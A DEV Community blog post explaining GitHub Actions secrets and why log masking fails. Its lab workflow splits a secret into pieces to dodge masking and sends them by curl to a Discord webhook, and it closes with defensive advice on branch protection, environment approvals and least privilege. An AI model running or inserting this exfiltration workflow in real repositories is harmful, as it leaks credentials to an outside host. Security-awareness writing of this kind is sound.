DEV Community

Cover image for GitHub Secrets: Exfiltration Guide to Discord
Manuel Yerbes
Manuel Yerbes

Posted on

GitHub Secrets: Exfiltration Guide to Discord

During my master's classes in AI, Cloud, and DevOps, I discovered GitHub Secrets. At first, I had this false sense of security that a Secret was like an impenetrable variable that was physically impossible to see. But the reality is different: the secret is not the value of the variable itself, but how you control who can touch your code.

¿What is a Secret?

According to GitHub's official documentation, these are variables that allow you to store sensitive information in your organization or repository. GitHub Actions can only read them if you explicitly include them in a workflow using the syntax ${{ secrets.MY_TOKEN }}.

The Masking Failure

GitHub uses a system called Masking to hide these values in the logs. Although you can force it with ::add-mask:: directly in the .yml file, this is not good practice. For example, if you mask the word “music,” GitHub will also hide “musical” because it contains the original string.

But that's not the problem. The real problem is that the GitHub filter searches for the exact string. If an attacker breaks that string, the secret is exposed.

Here's the lab: Exfiltrating Discord

Any contributor with access to the repository can use these secrets if they call them in a .yml file. Here's how to “steal” a token and send it to a Discord webhook.:

name: Security demostration
on: [push]

jobs:
  exfiltracion:
    runs-on: ubuntu-latest
    steps:
      - name: Attempted extraction
        env:
          # Secrets as environment variables
          MY_SECRET: ${{ secrets.SUPER_TOKEN }}
          WEBHOOK: ${{ secrets.DISCORD_WEBHOOK }}
        run: |
          echo "If I try to print the entire secret: $MY_SECRET"

          # But if we break down the chain
          PART1=$(echo $MY_SECRET | cut -c 1-5)
          PART2=$(echo $MY_SECRET | cut -c 6-10)
          PART3=$(echo $MY_SECRET | cut -c 11-20)

          # I send the content to Discord using curl.
          curl -H "Content-Type: application/json" \
               -X POST \
               -d "{\"content\": \"Secret extracted in parts: $PART1 - $PART2 - $PART3\"}" \
               $WEBHOOK
Enter fullscreen mode Exit fullscreen mode

Result:

  • GitHub logs:

Secret result on GitHub

  • On my Discord channel: Security is compromised.

My Secret revealed on Discord

How to truly protect ourselves:
The solution is not technical, but rather one of architecture management

  • Branch Protection: No one can upload code to the main branch without a review.

  • Environment Secrets: Set up manual approvals. The secret is not injected until you authorize it.

  • Minimum Privilege: Only administrators should manage secrets in Settings > Secrets and variables > Actions.

Top comments (0)